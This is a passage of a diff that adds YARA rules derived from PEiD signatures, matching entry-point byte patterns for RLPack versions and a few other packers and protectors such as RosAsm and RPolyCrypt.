+        $a at pe.entry_point
+}
+
+rule PEiD_01985_RLPack_1_20_Basic_Edition__aPLib_____Ap0x_
+{
+    meta:
+        description = "[RLPack 1.20 Basic Edition [aPLib] -> Ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 92 05 00 00 EB 0C 8B 85 8E 05 00 00 89 85 92 05 00 00 8D B5 BA 05 00 00 8D 9D 41 04 00 00 33 FF E8 38 01 00 00 EB 1B 8B 85 92 05 00 00 FF 74 37 04 01 04 24 FF 34 37 01 04 24 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 DF 83 BD 9E 05 00 00 00 74 0E 83 BD A2 05 00 00 00 74 05 E8 D6 01 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01986_RLPack_1_20_Basic_Edition__LZMA_____Ap0x_
+{
+    meta:
+        description = "[RLPack 1.20 Basic Edition [LZMA] -> Ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 9C 0C 00 00 EB 0C 8B 85 98 0C 00 00 89 85 9C 0C 00 00 8D B5 C4 0C 00 00 8D 9D 82 04 00 00 33 FF 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 2D 0C 00 00 89 85 94 0C 00 00 E8 59 01 00 00 EB 20 60 8B 85 9C 0C 00 00 FF B5 94 0C 00 00 FF 34 37 01 04 24 FF 74 37 04 01 04 24 FF D3 61 83}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01987_RLPack_Full_Edition_1_17__LZMA__
+{
+    meta:
+        description = "[RLPack Full Edition 1.17 (LZMA)]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D B5 73 26 00 00 8D 9D 58 03 00 00 33 FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 6A 40 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01988_RLPack_Full_Edition_1_17____Ap0x_
+{
+    meta:
+        description = "[RLPack Full Edition 1.17 -> Ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01989_RLPack_Full_Edition_1_17__aPLib__
+{
+    meta:
+        description = "[RLPack Full Edition 1.17 [aPLib]]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D B5 74 1F 00 00 8D 9D 1E 03 00 00 33 FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? EB 0F FF 74 37 04 FF 34}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01990_RLPack_Full_Edition_1_17_DLL__LZMA__
+{
+    meta:
+        description = "[RLPack Full Edition 1.17 DLL (LZMA)]"
+        ep_only = "true"
+    strings:
+        $a = {80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 5A 0A 00 00 8D 9D 40 02 00 00 33 FF E8 ?? ?? ?? ?? 6A 40 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 EB 09 00 00 89 85}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01991_RLPack_Full_Edition_1_17_DLL____Ap0x_
+{
+    meta:
+        description = "[RLPack Full Edition 1.17 DLL -> Ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01992_RLPack_Full_Edition_1_17_DLL__aPLib__
+{
+    meta:
+        description = "[RLPack Full Edition 1.17 DLL [aPLib]]"
+        ep_only = "true"
+    strings:
+        $a = {80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 53 03 00 00 8D 9D 02 02 00 00 33 FF E8 ?? ?? ?? ?? EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01993_RLPack_Full_Edition_1_17_iBox__LZMA__
+{
+    meta:
+        description = "[RLPack Full Edition 1.17 iBox (LZMA)]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D B5 67 30 00 00 8D 9D 66 03 00 00 33 FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 6A 40 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01994_RLPack_Full_Edition_1_17_iBox__aPLib__
+{
+    meta:
+        description = "[RLPack Full Edition 1.17 iBox [aPLib]]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D B5 79 29 00 00 8D 9D 2C 03 00 00 33 FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? EB 0F FF 74 37 04 FF 34}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01995_RLPack_V1_0_beta____ap0x___Sign_by_fly_
+{
+    meta:
+        description = "[RLPack V1.0.beta -> ap0x ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8D 64 24 04 8B 6C 24 FC 8D B5 4C 02 00 00 8D 9D 13 01 00 00 33 FF EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01996_RLPack_V1_11____ap0x___Sign_by_fly_
+{
+    meta:
+        description = "[RLPack V1.11 -> ap0x ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 4A 02 00 00 8D 9D 11 01 00 00 33 FF EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01997_RLPack_V1_12_V1_14__aPlib_0_43_____ap0x___Sign_by_fly_
+{
+    meta:
+        description = "[RLPack V1.12-V1.14 (aPlib 0.43) -> ap0x ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF EB 0F FF ?? ?? ?? FF ?? ?? ?? D3 83 C4 ?? 83 C7 ?? 83 3C 37 00 75 EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01998_RLPack_V1_12_V1_14__LZMA_4_30_____ap0x___Sign_by_fly_
+{
+    meta:
+        description = "[RLPack V1.12-V1.14 (LZMA 4.30) -> ap0x ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? EB ?? 60}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01999_RLPack_V1_15_V1_17__aPlib_0_43_____ap0x___Sign_by_fly_
+{
+    meta:
+        description = "[RLPack V1.15-V1.17 (aPlib 0.43) -> ap0x ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF E8 45 01 00 00 EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02000_RLPack_V1_15_V1_17__LZMA_4_30_____ap0x___Sign_by_fly_
+{
+    meta:
+        description = "[RLPack V1.15-V1.17 (LZMA 4.30) -> ap0x ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF E8 83 01 00 00 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? EB 14}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02001_RLPack_V1_15_V1_17_Dll____ap0x___Sign_by_fly_
+{
+    meta:
+        description = "[RLPack V1.15-V1.17 Dll -> ap0x ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {80 7C 24 08 01 0F 85 ?? 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02002_RLPack_V1_18__aPlib_0_43_____ap0x_
+{
+    meta:
+        description = "[RLPack V1.18 (aPlib 0.43) -> ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 ?? 8D B5 1A 04 00 00 8D 9D C1 02 00 00 33 FF E8 61 01 00 00 EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 ?? 83 C7 ?? 83 3C 37 00 75 EB 83 BD 06 04 00 00 00 74 0E 83 BD 0A 04 00 00 00 74 05 E8 D7 01 00 00 8D 74 37 04 53 6A ?? 68}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02003_RLPack_V1_18__LZMA_4_30_____ap0x_
+{
+    meta:
+        description = "[RLPack V1.18 (LZMA 4.30) -> ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 ?? 8D B5 21 0B 00 00 8D 9D FF 02 00 00 33 FF E8 9F 01 00 00 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 AA 0A 00 00 89 85 F9 0A 00 00 EB 14 60 FF B5 F9 0A 00 00 FF 34 37 FF 74 37 04 FF D3 61 83 C7 ?? 83 3C 37 00 75 E6}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02004_RLPack_v1_18_Basic__aPLib_____Ap0x_
+{
+    meta:
+        description = "[RLPack v1.18 Basic [aPLib] -> Ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 1A 04 00 00 8D 9D C1 02 00 00 33 FF E8 61 01 00 00 EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB 83 BD 06 04 00 00 00 74 0E 83}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02005_RLPack_v1_18_Basic__LZMA_____Ap0x_
+{
+    meta:
+        description = "[RLPack v1.18 Basic [LZMA] -> Ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 21 0B 00 00 8D 9D FF 02 00 00 33 FF E8 9F 01 00 00 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 AA 0A 00 00 89 85 F9 0A 00 00 EB 14 60 FF B5 F9 0A}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02006_RLPack_v1_18_Basic_DLL__aPLib_____Ap0x_
+{
+    meta:
+        description = "[RLPack v1.18 Basic DLL [aPLib] -> Ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 1A 04 00 00 8D 9D C1 02 00 00 33 FF E8 61 01 00 00 EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB 83 BD 06 04 00 00 00 74 0E 83}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02007_RLPack_v1_18_Basic_DLL__LZMA_____Ap0x_
+{
+    meta:
+        description = "[RLPack v1.18 Basic DLL [LZMA] -> Ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 21 0B 00 00 8D 9D FF 02 00 00 33 FF E8 9F 01 00 00 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 AA 0A 00 00 89 85 F9 0A 00 00 EB 14 60 FF B5 F9 0A}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02008_RLPack_V1_18_Basic_Edition__aPlib_0_43_____ap0x_
+{
+    meta:
+        description = "[RLPack V1.18 Basic Edition (aPlib 0.43) -> ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 1A 04 00 00 8D 9D C1 02 00 00 33 FF E8 61 01 00 00 EB 0F FF 74}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02009_RLPack_V1_18_Basic_Edition__aPLib_or_LZMA_____ap0x_
+{
+    meta:
+        description = "[RLPack V1.18 Basic Edition (aPLib or LZMA) -> ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? 00 00 8D 9D ?? 02 00 00 33 FF E8 ?? 01 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02010_RLPack_V1_18_Basic_Edition__LZMA_4_30_____ap0x_
+{
+    meta:
+        description = "[RLPack V1.18 Basic Edition (LZMA 4.30) -> ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 21 0B 00 00 8D 9D FF 02 00 00 33 FF E8 9F 01 00 00 6A 40 68 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02011_RLPack_V1_18_Dll__aPlib_0_43_____ap0x_
+{
+    meta:
+        description = "[RLPack V1.18 Dll (aPlib 0.43) -> ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {80 7C 24 08 01 0F 85 5C 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 ?? 8D B5 1A 04 00 00 8D 9D C1 02 00 00 33 FF E8 61 01 00 00 EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 ?? 83 C7 ?? 83 3C 37 00 75 EB 83 BD 06 04 00 00 00 74 0E 83 BD 0A 04 00 00 00 74 05 E8 D7}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02012_RLPack_V1_18_Dll__LZMA_4_30_____ap0x_
+{
+    meta:
+        description = "[RLPack V1.18 Dll (LZMA 4.30) -> ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {80 7C 24 08 01 0F 85 ?? 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF E8 9F 01 00 00 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 95 AA 0A 00 00 89 85 F9 0A 00 00 EB 14 60 FF B5 F9 0A 00 00 FF 34 37 FF 74 37 04 FF}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02013_RLPack_V1_19__aPlib_0_43_____ap0x___Sign_by_fly_
+{
+    meta:
+        description = "[RLPack V1.19 (aPlib 0.43) -> ap0x ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 3C 04 00 00 EB 0C 8B 85 38 04 00 00 89 85 3C 04 00 00 8D B5 60 04 00 00 8D 9D EB 02 00 00 33 FF E8 52 01 00 00 EB 1B 8B 85 3C 04 00 00 FF 74 37 04 01 04 24 FF 34 37 01 04 24 FF D3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02014_RLPack_V1_19__aPlib_0_43_____ap0x_nbsp___nbsp___Sign_by_fly_
+{
+    meta:
+        description = "[RLPack V1.19 (aPlib 0.43) -> ap0x&nbsp; &nbsp;! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 3C 04 00 00 EB 0C 8B 85 38 04 00 00 89 85 3C 04 00 00 8D B5 60 04 00 00 8D 9D EB 02 00 00 33 FF E8 52 01 00 00 EB 1B 8B 85 3C 04 00 00 FF 74 37 04 01 04 24 FF 34 37 01 04 24 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 DF 83 BD 48 04 00 00 00 74 0E 83 BD 4C 04 00 00 00 74 05 E8 B8 01 00 00 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 D1 03 00 00 89 85 5C 04 00 00 5B FF B5 5C 04 00 00 56 FF D3 83 C4 08 8B B5 5C 04 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 03 BD 3C 04 00 00 83 C0 04 89 85 58 04 00 00 E9 94 00 00 00 56 FF 95 C9 03 00 00 85 C0 0F 84 B4 00 00 00 89 85 54 04 00 00 8B C6 EB 5B 8B 85 58 04 00 00 8B 00 A9 00 00 00 80 74 14 35 00 00 00 80 50 8B 85 58 04 00 00 C7 00 20 20 20 00 EB 06 FF B5 58 04 00 00 FF B5 54 04 00 00 FF 95 CD 03 00 00 85 C0 74 71 89 07 83 C7 04 8B 85 58 04 00 00 EB 01 40 80 38 00 75 FA 40 89 85 58 04 00 00 66 81 78 02 00 80 74 A5 80 38 00 75 A0 EB 01 46 80 3E 00 75 FA 46 40 8B 38 03 BD 3C 04 00 00 83 C0 04 89 85 58 04 00 00 80 3E 01 0F 85 63 FF FF FF 68 00 40 00 00 68 ?? ?? ?? ?? FF B5 5C 04 00 00 FF 95 D5 03 00 00 E8 3D 00 00 00 E8 24 01 00 00 61 E9 ?? ?? ?? ?? 61 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02015_RLPack_V1_19__LZMA_4_30_____ap0x___Sign_by_fly_
+{
+    meta:
+        description = "[RLPack V1.19 (LZMA 4.30) -> ap0x ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 49 0B 00 00 EB 0C 8B 85 45 0B 00 00 89 85 49 0B 00 00 8D B5 6D 0B 00 00 8D 9D 2F 03 00 00 33 FF 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 DA 0A 00 00 89 85 41 0B 00 00 E8 76}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02016_RLPack_V1_19__LZMA_4_30_____ap0x_nbsp___nbsp___Sign_by_fly_
+{
+    meta:
+        description = "[RLPack V1.19 (LZMA 4.30) -> ap0x&nbsp; &nbsp;! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 49 0B 00 00 EB 0C 8B 85 45 0B 00 00 89 85 49 0B 00 00 8D B5 6D 0B 00 00 8D 9D 2F 03 00 00 33 FF 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 DA 0A 00 00 89 85 41 0B 00 00 E8 76 01 00 00 EB 20 60 8B 85 49 0B 00 00 FF B5 41 0B 00 00 FF 34 37 01 04 24 FF 74 37 04 01 04 24 FF D3 61 83 C7 08 83 3C 37 00 75 DA 83 BD 55 0B 00 00 00 74 0E 83 BD 59 0B 00 00 00 74 05 E8 D7 01 00 00 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 DA 0A 00 00 89 85 69 0B 00 00 5B 60 FF B5 41 0B 00 00 56 FF B5 69 0B 00 00 FF D3 61 8B B5 69 0B 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 03 BD 49 0B 00 00 83 C0 04 89 85 65 0B 00 00 E9 98 00 00 00 56 FF 95 D2 0A 00 00 89 85 61 0B 00 00 85 C0 0F 84 C8 00 00 00 8B C6 EB 5F 8B 85 65 0B 00 00 8B 00 A9 00 00 00 80 74 14 35 00 00 00 80 50 8B 85 65 0B 00 00 C7 00 20 20 20 00 EB 06 FF B5 65 0B 00 00 FF B5 61 0B 00 00 FF 95 D6 0A 00 00 85 C0 0F 84 87 00 00 00 89 07 83 C7 04 8B 85 65 0B 00 00 EB 01 40 80 38 00 75 FA 40 89 85 65 0B 00 00 66 81 78 02 00 80 74 A1 80 38 00 75 9C EB 01 46 80 3E 00 75 FA 46 40 8B 38 03 BD 49 0B 00 00 83 C0 04 89 85 65 0B 00 00 80 3E 01 0F 85 5F FF FF FF 68 00 40 00 00 68 ?? ?? ?? ?? FF B5 69 0B 00 00 FF 95 DE 0A 00 00 68 00 40 00 00 68 00 20 0C 00 FF B5 41 0B 00 00 FF 95 DE 0A 00 00 E8 3D 00 00 00 E8 24 01 00 00 61 E9 ?? ?? ?? ?? 61 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02017_RLPack_V1_19_Dll__aPlib_0_43_____ap0x___Sign_by_fly_
+{
+    meta:
+        description = "[RLPack V1.19 Dll (aPlib 0.43) -> ap0x ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {80 7C 24 08 01 0F 85 89 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 3C 04 00 00 EB 0C 8B 85 38 04 00 00 89 85 3C 04 00 00 8D B5 60 04 00 00 8D 9D EB 02 00 00 33 FF E8 52 01 00 00 EB 1B 8B 85 3C 04 00 00 FF 74 37 04}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02018_RLPack_V1_19_Dll__aPlib_0_43_____ap0x_nbsp___nbsp___Sign_by_fly_
+{
+    meta:
+        description = "[RLPack V1.19 Dll (aPlib 0.43) -> ap0x&nbsp; &nbsp;! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {80 7C 24 08 01 0F 85 89 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 3C 04 00 00 EB 0C 8B 85 38 04 00 00 89 85 3C 04 00 00 8D B5 60 04 00 00 8D 9D EB 02 00 00 33 FF E8 52 01 00 00 EB 1B 8B 85 3C 04 00 00 FF 74 37 04 01 04 24 FF 34 37 01 04 24 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 DF 83 BD 48 04 00 00 00 74 0E 83 BD 4C 04 00 00 00 74 05 E8 B8 01 00 00 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 D1 03 00 00 89 85 5C 04 00 00 5B FF B5 5C 04 00 00 56 FF D3 83 C4 08 8B B5 5C 04 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 03 BD 3C 04 00 00 83 C0 04 89 85 58 04 00 00 E9 94 00 00 00 56 FF 95 C9 03 00 00 85 C0 0F 84 B4 00 00 00 89 85 54 04 00 00 8B C6 EB 5B 8B 85 58 04 00 00 8B 00 A9 00 00 00 80 74 14 35 00 00 00 80 50 8B 85 58 04 00 00 C7 00 20 20 20 00 EB 06 FF B5 58 04 00 00 FF B5 54 04 00 00 FF 95 CD 03 00 00 85 C0 74 71 89 07 83 C7 04 8B 85 58 04 00 00 EB 01 40 80 38 00 75 FA 40 89 85 58 04 00 00 66 81 78 02 00 80 74 A5 80 38 00 75 A0 EB 01 46 80 3E 00 75 FA 46 40 8B 38 03 BD 3C 04 00 00 83 C0 04 89 85 58 04 00 00 80 3E 01 0F 85 63 FF FF FF 68 00 40 00 00 68 ?? ?? ?? ?? FF B5 5C 04 00 00 FF 95 D5 03 00 00 E8 3D 00 00 00 E8 24 01 00 00 61 E9 ?? ?? ?? ?? 61 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02019_RLPack_V1_19_Dll__LZMA_4_30_____ap0x___Sign_by_fly_
+{
+    meta:
+        description = "[RLPack V1.19 Dll (LZMA 4.30) -> ap0x ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {80 7C 24 08 01 0F 85 C7 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 49 0B 00 00 EB 0C 8B 85 45 0B 00 00 89 85 49 0B 00 00 8D B5 6D 0B 00 00 8D 9D 2F 03 00 00 33 FF 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 DA}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02020_RLPack_V1_19_Dll__LZMA_4_30_____ap0x_nbsp___nbsp___Sign_by_fly_
+{
+    meta:
+        description = "[RLPack V1.19 Dll (LZMA 4.30) -> ap0x&nbsp; &nbsp;! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {80 7C 24 08 01 0F 85 C7 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 49 0B 00 00 EB 0C 8B 85 45 0B 00 00 89 85 49 0B 00 00 8D B5 6D 0B 00 00 8D 9D 2F 03 00 00 33 FF 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 DA 0A 00 00 89 85 41 0B 00 00 E8 76 01 00 00 EB 20 60 8B 85 49 0B 00 00 FF B5 41 0B 00 00 FF 34 37 01 04 24 FF 74 37 04 01 04 24 FF D3 61 83 C7 08 83 3C 37 00 75 DA 83 BD 55 0B 00 00 00 74 0E 83 BD 59 0B 00 00 00 74 05 E8 D7 01 00 00 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 DA 0A 00 00 89 85 69 0B 00 00 5B 60 FF B5 41 0B 00 00 56 FF B5 69 0B 00 00 FF D3 61 8B B5 69 0B 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 03 BD 49 0B 00 00 83 C0 04 89 85 65 0B 00 00 E9 98 00 00 00 56 FF 95 D2 0A 00 00 89 85 61 0B 00 00 85 C0 0F 84 C8 00 00 00 8B C6 EB 5F 8B 85 65 0B 00 00 8B 00 A9 00 00 00 80 74 14 35 00 00 00 80 50 8B 85 65 0B 00 00 C7 00 20 20 20 00 EB 06 FF B5 65 0B 00 00 FF B5 61 0B 00 00 FF 95 D6 0A 00 00 85 C0 0F 84 87 00 00 00 89 07 83 C7 04 8B 85 65 0B 00 00 EB 01 40 80 38 00 75 FA 40 89 85 65 0B 00 00 66 81 78 02 00 80 74 A1 80 38 00 75 9C EB 01 46 80 3E 00 75 FA 46 40 8B 38 03 BD 49 0B 00 00 83 C0 04 89 85 65 0B 00 00 80 3E 01 0F 85 5F FF FF FF 68 00 40 00 00 68 ?? ?? ?? ?? FF B5 69 0B 00 00 FF 95 DE 0A 00 00 68 00 40 00 00 68 00 20 0C 00 FF B5 41 0B 00 00 FF 95 DE 0A 00 00 E8 3D 00 00 00 E8 24 01 00 00 61 E9 ?? ?? ?? ?? 61 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02021_ROD_High_TECH____Ayman_
+{
+    meta:
+        description = "[ROD High TECH -> Ayman]"
+        ep_only = "true"
+    strings:
+        $a = {60 8B 15 1D 13 40 00 F7 E0 8D 82 83 19 00 00 E8 58 0C 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+
+
+rule PEiD_02022_RosAsm_2050a____Betov_
+{
+    meta:
+        description = "[RosAsm 2050a -> Betov]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 60 8B 5D 08 B9 08 00 00 00 BF ?? ?? ?? ?? 83 C7 07 FD 8A C3 24 0F 04 30 3C 39 76 02 04 07 AA C1 EB 04 E2 EE FC 68 00 10 00 00 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 15 ?? ?? ?? ?? 61 8B E5 5D C2 04 00}
+    condition:
+        $a
+}
+
+rule PEiD_02023_RPolyCrypt_v_1_0__personal_polycryptor__sign_from_pinch_
+{
+    meta:
+        description = "[RPolyCrypt v 1.0 (personal polycryptor) sign from pinch]"
+        ep_only = "true"
+    strings:
+        $a = {50 58 97 97 60 61 8B 04 24 80 78 F3 6A E8 00 00 00 00 58 E8 00 00 00 00 58 91 91 EB 00 0F 85 6B F4 76 6F E8 00 00 00 00 83 C4 04 E8 00 00 00 00 58 90 E8 00 00 00 00 83 C4 04 8B 04 24 80 78 F1}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02024_Safe_2_0_
+{
+    meta:
+        description = "[Safe 2.0]"
